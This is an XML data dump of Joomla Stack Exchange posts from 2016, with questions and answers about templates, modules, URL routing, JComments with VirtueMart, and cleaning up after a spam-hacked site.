  <row Id="17887" PostTypeId="2" ParentId="17818" CreationDate="2016-09-14T22:47:30.187" Score="1" Body="&lt;p&gt;If you can edit your template add this right before the closing  tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;analytics&quot; style=&quot;none&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use FlexiCustom Code module and publish it to the analytics position on any menu item you want.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-09-14T22:47:30.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17888" PostTypeId="2" ParentId="17866" CreationDate="2016-09-15T05:23:25.277" Score="0" Body="&lt;p&gt;Hi there is a documentation available to setup multi-language joomla site and in that document you will get idea to set home page menu item for each language.&#xA;You can see the &quot;Defining a Default Home page Menu item per language&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the documentation URL:&#xA;&lt;a href=&quot;https://docs.joomla.org/J2.5:Language_Switcher_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J2.5:Language_Switcher_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you.&lt;/p&gt;&#xA;" OwnerUserId="9019" LastEditorUserId="33" LastEditDate="2020-04-28T12:48:38.310" LastActivityDate="2020-04-28T12:48:38.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17889" PostTypeId="2" ParentId="17513" CreationDate="2016-09-15T05:48:37.227" Score="1" Body="&lt;p&gt;I have recommend &lt;a href=&quot;http://yendifplayer.com/products-listing/joomla-video-share.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla videoplayer&lt;/a&gt; extension for joomla. excellent free support,live chat, forum and more features. Easily understandable coding structure, easy to change as own..&lt;/p&gt;&#xA;" OwnerUserId="8344" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-09-17T05:08:03.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17890" PostTypeId="2" ParentId="17853" CreationDate="2016-09-15T06:49:38.143" Score="-1" Body="&lt;p&gt;May be this post will fix your issue of start limit of pagination in joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/867/pagination-confusion-pagination-uses-start-populatestate-uses-limitstart&quot;&gt;Pagination confusion - Pagination uses start, PopulateState uses limitstart?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you.&lt;/p&gt;&#xA;" OwnerUserId="9019" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-09-15T06:49:38.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17891" PostTypeId="2" ParentId="17269" CreationDate="2016-09-15T06:58:24.983" Score="0" Body="&lt;p&gt;As per my knowledge, to achieve your goal, open another view edit layout in a modal is the correct way. you can also use this code to use modal popup in joomla. Here is the URL: &lt;a href=&quot;http://www.escope.cz/en/blog/84-how-to-use-modal-box-in-joomla&quot; rel=&quot;nofollow&quot;&gt;http://www.escope.cz/en/blog/84-how-to-use-modal-box-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9019" LastActivityDate="2016-09-15T06:58:24.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17892" PostTypeId="2" ParentId="15676" CreationDate="2016-09-15T07:23:16.307" Score="1" Body="&lt;p&gt;To make unique file name of uploaded file, you can concatenate file name with current time-stamp in save() function in your component.&#xA;For example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$fileName = $fileName . '_' . time();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you.&lt;/p&gt;&#xA;" OwnerUserId="9019" LastActivityDate="2016-09-15T07:23:16.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17893" PostTypeId="2" ParentId="15676" CreationDate="2016-09-15T07:34:40.280" Score="1" Body="&lt;p&gt;Just get the filename of your &lt;code&gt;save()&lt;/code&gt; function, then split the name into two halves on the first occurring dot.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$img_name = $file['name'];  &#xA;$img = explode(&quot;.&quot;, $img_name, 2);  &#xA;$file['name'] = $img[0].'_'.rand().'.'.$img[1]; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8344" LastEditorUserId="12352" LastEditDate="2019-05-24T11:08:12.887" LastActivityDate="2019-05-24T11:08:12.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17895" PostTypeId="1" AcceptedAnswerId="17919" CreationDate="2016-09-15T15:25:09.783" Score="1" ViewCount="318" Body="&lt;p&gt;I wanna add JComment to appear not only in article pages, but on Virtuemart product detail too. &#xA;How can i do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another extension named &quot;addtoany&quot; that shows social media buttons. &#xA;I want to do the same thing to this extension too. &lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="3650" LastEditDate="2016-11-10T11:38:37.750" LastActivityDate="2016-11-10T11:38:37.750" Title="Adding JComment extension to Virtuemart product detail page" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17896" PostTypeId="1" AcceptedAnswerId="18448" CreationDate="2016-09-15T16:13:09.993" Score="2" ViewCount="1335" Body="&lt;p&gt;I am setting up a new site with Joomla 3.6 (with Gantry 5 and Hydrogen template). There are two template styles, one is default and the other is assigned only to the home page menu item (it has a different layout with more module positions etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as long as I browse through the menu items and articles accessible from there (so the URLs are based on the menu structure), it works fine and the default layout is being used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if an article is linked like this: &lt;code&gt;/component/content/article/(###-categoryname)/(###-articlename)&lt;/code&gt; (such as a featured article which is in a category not directly accessible through the menu) it is always displayed using the home page template style instead of the default one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume I could use some trick with hidden menu, to make the articles in question accessible through menu-structure-based URLs, but in this relatively large and complicated website with many categories I'm not sure I can rely on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do you know what causes this odd behaviour and whether there is any way to change it? &lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2016-12-05T18:38:43.640" Title="Home page layout is used for content instead of the default layout" Tags="|joomla-3.x|templates|menu-item|url|default|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17897" PostTypeId="1" CreationDate="2016-09-16T00:29:23.610" Score="1" ViewCount="148" Body="&lt;p&gt;I was working on a Joomla website with mainly HTML + CSS. I'm learning Java, but have barely any experience in JavaScript, though when reading the code I can eventually understand it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I wanted to simply do is create a custom HTML module on a page with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A assessor. So this would work like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options A and B in buttons. &#xA;Clicking A &gt; 2 more options (A1 and A2)&#xA;Clicking B &gt; 2 more options (B1 and B2)&#xA;Clicking any (A1, A2, B1 or B2) will lead to its own individual content appearing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intended to happen on the same page, hence it being dynamic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine the buttons to have a toggle feature, which upon click would lead to hiding or showing linked div, or something like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm looking for the EASIEST way to do this. I don't mind: &#xA;- writing this manually through an editor &#xA;- installing a Joomla plugin that can do this for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer coding this, but if an off-the-shelf solution exists, it would save time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know what you think, and thanks. &lt;/p&gt;&#xA;" OwnerUserId="9025" LastActivityDate="2016-10-16T12:30:55.107" Title="Easiest way to make a dynamic 'assessor' or 'quiz'" Tags="|joomla-3.x|javascript|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17898" PostTypeId="2" ParentId="17897" CreationDate="2016-09-16T06:05:59.363" Score="0" Body="&lt;p&gt;I would recommend you to create your own Joomla Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ibrini.com/en/services-accueil/modules&quot; rel=&quot;nofollow&quot;&gt;http://ibrini.com/en/services-accueil/modules&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create an empty module that later you can use to incorporate your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-16T06:05:59.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17899" PostTypeId="1" AcceptedAnswerId="17900" CreationDate="2016-09-16T06:12:43.047" Score="1" ViewCount="35" Body="&lt;p&gt;I have a module for slideshow in landing page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have some links in landing page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on those links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target page coming with module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have not assigned the module on target page but still its coming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2016-09-16T12:00:59.903" Title="Module coming on all pages" Tags="|joomla-3.x|component|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17900" PostTypeId="2" ParentId="17899" CreationDate="2016-09-16T06:25:16.933" Score="3" Body="&lt;p&gt;I recommend you to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a menu called: Hidden Menu&lt;/li&gt;&#xA;&lt;li&gt;Do not assign this menu to any menu module&lt;/li&gt;&#xA;&lt;li&gt;Create a menu element for each of the links you want to display in home page&#xA;That way, they will have a diferent Itemid&lt;/li&gt;&#xA;&lt;li&gt;Sustitute your links for the new created in home page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-16T06:25:16.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17901" PostTypeId="1" CreationDate="2016-09-16T07:08:14.683" Score="0" ViewCount="236" Body="&lt;p&gt;I have site on Joomla 3.6.2 Stable. In this week I get mail from google about&#xA;&quot;Security Issues&quot;.&#xA;When I login to webmaster tools there was this message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Hacked with spam&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;A hacker may have modified your site to contain spammy content. To protect visitors to your site, Google’s search results may label your site’s pages as hacked. We may also show an older, clean version of your site. Learn more&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;URL injection&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;These pages appear to be created by a hacker with the intent of spamming search results. &#xA;  &lt;code&gt;http://www.mysite.com/13-basis-32054.pdf&lt;/code&gt;&lt;br&gt;&#xA;  &lt;code&gt;http://www.mysite.com/48-gem-19846.pdf&lt;/code&gt;&lt;br&gt;&#xA;  &lt;code&gt;http://www.mysite.com/superstructure_ili/9.jsp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On site I'm using standard &lt;code&gt;.htaccess&lt;/code&gt; shiped with Joomla package and I have enabled &lt;em&gt;&quot;Search Engine Friendly URLs&quot;&lt;/em&gt; and &lt;em&gt;&quot;Use URL Rewriting&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add something after &lt;code&gt;http://www.mysite.com/&lt;/code&gt; thats contain valid article ID this article is returned. e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to &lt;code&gt;http://www.mysite.com/13-basis-32054.pdf&lt;/code&gt; I get article with ID 13 and with &lt;code&gt;http://www.mysite.com/superstructure_ili/9.jsp&lt;/code&gt; I get article with ID 9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is way to redirect (or disable) all url than doesn't appear in my menu to 404?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe some clarification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is joomla at standard have something wrong with url rewriting. e.g &lt;code&gt;http://www.timetoinvest.ca/&lt;/code&gt; (I found this site on google) there is no link on site to &lt;code&gt;http://www.timetoinvest.ca/22&lt;/code&gt; but they have &lt;code&gt;http://www.timetoinvest.ca/legal&lt;/code&gt; (and when you go to &lt;code&gt;http://www.timetoinvest.ca/AnyStringYouWant/22-evenWith spaces and prefix.html&lt;/code&gt; site have title Legal), which (as I think) have ID 22 in system. In conclusion: Joomla standard (.htaccess shipped with install package) rewrite rules lead to showing articles if you enter valid article ID after slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I want to disable/fix this (described above) behavior, I want to make Joomla to redirect urls which don't exist in menu to 404.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;em&gt;Neil Robertson&lt;/em&gt; and &lt;em&gt;garth&lt;/em&gt; sugests I use myJoomla.com and my site is clean and from the beginning  I'm using OSMap plugin (successor of Xmap) and ofcourse it's added to webmaster tools, there is no duplicates in sitemap (I re-generated it and nothing changed) and and all links are SEO friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that google reported links are com from hacker site fetch by google crawler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In message in webmastertools there is section&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;Here’s how to fix this problem:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;Look for other compromised pages or files on your site&lt;br&gt;&#xA;&lt;b&gt;Fetch as Google&lt;/b&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;Submit a reconsideration request&lt;br&gt;&#xA;&lt;b&gt;Reconsideration Request&lt;/b&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I use it with &lt;code&gt;http://www.mysite.com/13-basis-32054.pdf&lt;/code&gt; url it showing Offer site (which have &lt;code&gt;ID 13&lt;/code&gt;) and I can't submit &lt;strong&gt;reconsideration request&lt;/strong&gt; in google webmastertools because for google it's spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm not concerned about duplicates, but about I can't tell google that my site is OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/W5YeUSmd&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; are part of OSMap generated sitemap (with little edit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is: &lt;strong&gt;How I can redirect url which doesn't exist in menu to 404 page?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9021" LastEditorUserId="9021" LastEditDate="2016-09-19T09:18:14.180" LastActivityDate="2019-09-07T08:46:59.267" Title="Joomla 3 and Google Security Issues - Security Issues" Tags="|security|url|seo|google|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17902" PostTypeId="2" ParentId="13801" CreationDate="2016-09-16T07:12:54.630" Score="3" Body="&lt;p&gt;This is kinda of necroposting, but an issue still has no fix from Falang author, so here is it. In the file &lt;strong&gt;./plugins/system/falangdriver/falangdriver.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find &lt;em&gt;(309 row for Falang 2.6.0)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;debug($debug); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setDebug($debug);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now Joomla debug information will contain all queries. The fix has been submitted to Falang author as well.&lt;/p&gt;&#xA;" OwnerUserId="9027" LastActivityDate="2016-09-16T07:12:54.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17904" PostTypeId="1" CreationDate="2016-09-16T08:16:58.717" Score="1" ViewCount="116" Body="&lt;p&gt;Hello I have custom joomla template: &lt;a href=&quot;http://beta.mtisambebi.ge/index.php&quot; rel=&quot;nofollow&quot;&gt;Demo is here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;When I check source code for this template here is empty space before doctype html.&#xA;I try to make:&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;included helper file and here is no problem. (when I turn off included file empty space also is here)&lt;/li&gt;&#xA;&lt;li&gt;I check css and javascript files and problem not solved&lt;/li&gt;&#xA;&lt;li&gt;I check index.php file encoding (this is utf-8) and problem not solved&lt;/li&gt;&#xA;&lt;li&gt;them I remove html and php codes step by step from index.php and when here is no code problem solved. I can not understand where is bug.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2016-11-10T07:23:02.843" Title="Empty space before doctype in custom joomla template" Tags="|php|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17906" PostTypeId="2" ParentId="17901" CreationDate="2016-09-16T09:18:44.877" Score="2" Body="&lt;p&gt;Redirecting the links is probably a short term solution at best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you need to find and fix the hacker's point of entry (e.g. update Joomla and all third party extensions to the latest versions) and fix or remove all the malicious files from the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you are experienced at this sort of thing, it is probably best to use a commercial scanning service like &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; or &lt;a href=&quot;https://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;sucuri.net&lt;/a&gt; or pay someone to do this for you.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:46:59.267" LastActivityDate="2019-09-07T08:46:59.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17907" PostTypeId="2" ParentId="17899" CreationDate="2016-09-16T12:00:59.903" Score="2" Body="&lt;p&gt;Another solution is to use Regular Labs (used to be NoNumbers) Advanced Module Manager so that you can assign the modules on the homepage to be &quot;homepage&quot; instead of assigned to the default menu item.  Doing this will prevent those modules from loading on menu-less pages so you don't have to create a ton of new hidden menu items.&lt;br&gt;&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/advancedmodulemanager&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager#assignment-options&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/advancedmodulemanager#assignment-options&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-09-16T12:00:59.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17908" PostTypeId="2" ParentId="17897" CreationDate="2016-09-16T12:04:52.043" Score="1" Body="&lt;p&gt;It's a paid extension, but I would use RSForms Pro.  It is super easy/fast to throw together something like that since it has the ability to put free text fields in it and a built in tool for conditional fields so you can hide/show options based upon previous choices.&#xA;&lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/joomla-form.html&quot; rel=&quot;nofollow&quot;&gt;https://www.rsjoomla.com/joomla-extensions/joomla-form.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-09-16T12:04:52.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17909" PostTypeId="2" ParentId="17904" CreationDate="2016-09-16T14:24:44.793" Score="2" Body="&lt;p&gt;My first guess would be a plugin or module that isn't properly written. If they contain whitespace or newlines outside of a &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; tag it may leak into the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the issue isn't there when testing with Protostar (can be done by appending &lt;code&gt;?template=protostar&lt;/code&gt; to the URL) I would first check the modules.&#xA;It also doesn't happen on all pages (eg the contact page is fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So disable all modules and then enable one by one and see when the issue starts.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2016-09-16T14:24:44.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17912" PostTypeId="1" AcceptedAnswerId="18408" CreationDate="2016-09-17T06:50:12.957" Score="1" ViewCount="1150" Body="&lt;p&gt;I can set meta descriptions and meta keywords as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $document = JFactory::getDocument();&#xA;  $document-&amp;gt;setDescription(&quot;a meta description&quot;);&#xA;  $document-&amp;gt;setMetaData('keywords', 'some,keywords');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a similar way to set the page heading? By &quot;page heading&quot; I am referring to the &quot;Page Heading&quot; field in the menu item (see below) which usually (depending on the template you are using) results in a H1 heading at the top of the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KeOoG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KeOoG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-09-18T23:38:57.630" LastActivityDate="2016-11-18T20:18:41.533" Title="How can I set the Page Heading via the Joomla API?" Tags="|joomla-3.x|joomla-api|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17913" PostTypeId="2" ParentId="17912" CreationDate="2016-09-17T07:00:15.617" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Customising_the_dynamic_page_title&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Dynamic page title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;&#xA;$document-&amp;gt;setTitle('your title');      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8344" LastEditorUserId="126" LastEditDate="2016-11-18T07:53:40.087" LastActivityDate="2016-11-18T07:53:40.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17916" PostTypeId="1" CreationDate="2016-09-18T07:00:58.737" Score="1" ViewCount="88" Body="&lt;p&gt;I am totally new to Joomla development in specific but have done good old prog days (C, Oracle, Sybase etc). So i use a Library software in Joomla and do all the installation, admin etc thing.. i want to add some SQL queries for backend and front end access. The stand alone php files i am generating for this is via a proven php generator tool called MySQL PHP generator (pro edition) from sqlmeastro. &#xA;How can i add the php file generated to my Joomla Library application? Greatly appreciate any/every help/tips from the experts in this forum please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;parag&lt;/p&gt;&#xA;" OwnerUserId="9044" LastActivityDate="2016-09-18T09:17:29.970" Title="Adding a stand alone php (with sql queries built using mysql phpgenerator) to existing Joomla application" Tags="|php|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17917" PostTypeId="2" ParentId="17916" CreationDate="2016-09-18T09:17:29.970" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt; plugin to embed your php code quickly in joomla content, module, componen etc&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-09-18T09:17:29.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17918" PostTypeId="1" CreationDate="2016-09-18T10:57:18.433" Score="0" ViewCount="248" Body="&lt;p&gt;can any body tell me how to make a global alias for a joomla! component&#xA;i want to completely get rid of joomla! components name (k2, virtuemart , etc..)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost/component/k2/item/243-3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i created a link to item and it's work perfectly but the items that generated by the plugins does not has alias&#xA;i will be helpfull even if i can change the component name in the url&lt;/p&gt;&#xA;" OwnerUserId="8448" LastActivityDate="2017-03-20T16:09:34.183" Title="how to set global alias for a joomla component" Tags="|component|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17919" PostTypeId="2" ParentId="17895" CreationDate="2016-09-18T11:22:00.193" Score="1" Body="&lt;p&gt;First things first... As per official Stack Exchange Help, you should never ask two different things in one Question, even if they appear to be closely related. One question should be for one inquiry only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your inquiry about JComments integration into Virtuemart, you haven't mentioned their versions you are using, and that is crucially important for answering it correctly.&#xA;So, I am providing a very simple but long-sought-after solution for VM 3.0.12+ and Joomla 3.4.8+, which I have successfully implemented yesterday at one of my client's shops.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to this VM Forum post &#xA;'&lt;em&gt;&lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=99683.30&quot; rel=&quot;nofollow&quot;&gt;VirtueMart 2.0.3c+ - JComments 2.3.0 Integration (Free). For J 1.7 and 2.5&lt;/a&gt;&lt;/em&gt;', jump to the last (third) page, and in the last post from user 'Studio 42' posted on 2016-03-14 you will find the link to his '&lt;em&gt;&lt;a href=&quot;http://github.com/studio42-fork/jcomments&quot; rel=&quot;nofollow&quot;&gt;JComments fork on GitHub&lt;/a&gt;&lt;/em&gt;'.&lt;br&gt;&#xA;Simply download this extension (I call it &lt;code&gt;com_jcomments_3.0.5_fork_j25j3x.zip&lt;/code&gt;) and install it. &#xA;This guy from &lt;a href=&quot;http://st42.fr&quot; rel=&quot;nofollow&quot;&gt;http://st42.fr&lt;/a&gt; rewrote few things in latest official &lt;code&gt;com_jcomments_v3.0.5.zip&lt;/code&gt;, and added new Content Plugin &lt;code&gt;plg_vmjcomments&lt;/code&gt; 'Virtuemart 3 - JComments Content Plugin' which handles attaching jcomments layout to the long product description in VM Product Detail page.&lt;br&gt;&#xA;I have tested it and it is working flawlessly on two sites and in two different templates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After this installation you should configure few things right away, in order to enable this whole enchilada: Go to VM Configuration|Configuration section and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;on Shop tab set Enable Joomla Plugin ON, in order to enable aforementioned content plugin in VM product description field.&lt;/li&gt;&#xA;&lt;li&gt;on Shopfront tab, in Shopper Review/Rating System section set all four settings to 'Don't show' and 'Disabled', in order to disable VM built-in comments/ratings. You can't have it active while using JComments.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For latest VM and Joomla that's all you need to do. Don't follow other older posts in this topic, unless you are using old VM 2 and Joomla 2.5, which you are not... right?!? :-)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can safely install any other module/plugin from &lt;a href=&quot;http://www.joomlatune.com/jcomments-downloads.html&quot; rel=&quot;nofollow&quot;&gt;Official JComments Download section&lt;/a&gt;, and use them as you wish.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On a side note, we all should be aware that JComments is a 'dead fish'! The guy stopped updating it almost two years ago, and it is yet another great extension which didn't survive in this Open Source Warfare...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Regarding your second inquiry about &quot;addtoany&quot; social media buttons, I have never used it even though I know there is a Joomla plugin for it. I guess VM implementation should go along adding calls to plugin into VM product detail layout overrides in your template, but don't&#xA;hold me to it.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-18T16:21:01.297" LastActivityDate="2016-09-18T16:21:01.297" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
